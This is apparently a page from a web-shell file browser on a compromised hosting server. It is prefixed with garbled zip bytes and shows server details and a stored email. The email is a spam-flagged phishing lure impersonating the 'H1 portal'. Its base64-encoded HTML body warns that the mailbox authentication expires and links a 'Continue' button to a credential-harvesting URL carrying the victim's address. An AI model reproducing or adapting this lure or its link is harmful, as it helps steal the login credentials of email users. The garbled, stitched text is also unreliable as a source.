PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/ithome/mail/cur/
Server: Linux host100322.itwesthosting.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64
IP: 144.91.64.173
Choose File :

Url:
Dir : /home/ithome/mail/cur/1757978454.M163995P22015.host100322.itwesthosting.com,S=5317,W=5413:2,

Return-Path: <>
Delivered-To: ithome@host100322.itwesthosting.com
Received: from host100322.itwesthosting.com
	by host100322.itwesthosting.com with LMTP
	id qLpNCVafyGj/VQAAp0YrwQ
	(envelope-from <>)
	for <ithome@host100322.itwesthosting.com>; Tue, 16 Sep 2025 01:20:54 +0200
Return-path: <>
Envelope-to: info@h1telekom.hr
Delivery-date: Tue, 16 Sep 2025 01:20:54 +0200
Received: from 24.130.243.35.bc.googleusercontent.com ([35.243.130.24]:52274 helo=[10.88.0.3])
	by host100322.itwesthosting.com with esmtp (Exim 4.96.2)
	id 1uyIVB-0005kg-2b
	for info@h1telekom.hr;
	Tue, 16 Sep 2025 01:20:54 +0200
Content-Type: multipart/related; boundary="===============1577749658214385893=="
MIME-Version: 1.0
From: "H1 portal ." <no-reply@h1telekom.hr>
To: info@h1telekom.hr
X-Priority: 2
X-Spam-Status: Yes, score=17.5
X-Spam-Score: 175
X-Spam-Bar: +++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "host100322.itwesthosting.com",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  H1 portalMail Hi Info Please note info@h1telekom.hr authentication
    expires 16 September, 2025. 
 Content analysis details:   (17.5 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: thenutritioncheckpoint.com]
  0.0 TVD_RCVD_IP            Message was received from an IP address
  0.0 URIBL_PH_SURBL         Contains an URL listed in the PH SURBL blocklist
                             [URIs: thenutritioncheckpoint.com]
  1.3 URIBL_CR_SURBL         Contains an URL listed in the CR SURBL blocklist
                             [URIs: thenutritioncheckpoint.com]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: thenutritioncheckpoint.com]
  4.7 RCVD_IN_XBL            RBL: Received via a relay in Spamhaus XBL
                             [35.243.130.24 listed in zen.spamhaus.org]
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 HTML_MESSAGE           BODY: HTML included in message
  2.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%
                             [cf: 100]
  1.7 RAZOR2_CHECK           Listed in Razor2 (http://razor.sf.net/)
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [35.243.130.24 listed in bl.score.senderscore.com]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [35.243.130.24 listed in sa-accredit.habeas.com]
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  1.4 MISSING_DATE           Missing Date: header
  0.6 HTML_MIME_NO_HTML_TAG  HTML-only message, but there is no HTML
                             tag
  2.6 RDNS_DYNAMIC           Delivered to internal network by host with
                             dynamic-looking rDNS
  0.0 FSL_BULK_SIG           Bulk signature with no Unsubscribe
  0.1 TO_IN_SUBJ             To address is in Subject
X-Spam-Flag: YES
Subject:  ***SPAM***  =?utf-8?q?=5Binfo=40h1telekom=2Ehr=5D=3A_Incorrect_login_credentials_detected!?=
X-From-Rewrite: unmodified, forwarded message

--===============1577749658214385893==
Content-Type: text/html; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64

PGRpdj4KICAgIDxkaXY+CiAgICAgICAgPGRpdj48cCBzdHlsZT0iZm9udC1zaXplOiBsYXJnZXI7
Ij48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6MzAwO2ZvbnQtc3R5bGU6IGl0YWxpYzsiPkgxIHBv
cnRhbDwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IDYwMDsiPk1haWw8L3NwYW4+PC9w
PgogICAgICAgICAgICA8cD5IaSBJbmZvPC9wPgogICAgICAgICAgICA8cD5QbGVhc2Ugbm90ZSBp
bmZvQGgxdGVsZWtvbS5ociBhdXRoZW50aWNhdGlvbiBleHBpcmVzIDE2IFNlcHRlbWJlciwgMjAy
NS48L3A+CiAgICAgICAgICAgIDxwPjx0YWJsZT48dHI+PHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNv
bG9yOiBjb3JuZmxvd2VyYmx1ZTtjb2xvcjogd2hpdGU7cGFkZGluZzo1cHggN3B4O2JvcmRlci1y
YWRpdXM6IDNweDsiPjxhIHN0eWxlPSJjb2xvcjp3aGl0ZTt0ZXh0LWRlY29yYXRpb246IG5vbmU7
IiBocmVmPSJodHRwczovL3RoZW51dHJpdGlvbmNoZWNrcG9pbnQuY29tL3dlYjN6L2luZGV4LnBo
cD9lbXA9aW5mb0BoMXRlbGVrb20uaHIiPkNvbnRpbnVlPC9hPjwvdGQ+PC90cj48L3RhYmxlPjwv
cD4KICAgICAgICAgICAgPHA+UGxlYXNlIGNvbnRpbnVlIHRvIGtlZXAgb3IgY2hhbmdlIHlvdXIg
cGFzc3dvcmQuPC9wPgo8cD48L3A+ICAgICAgICAgICAgClJlZ2FyZHMsPGJyPgpIMXRlbGVrb20g
TWFpbCAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KPC9kaXY+

--===============1577749658214385893==--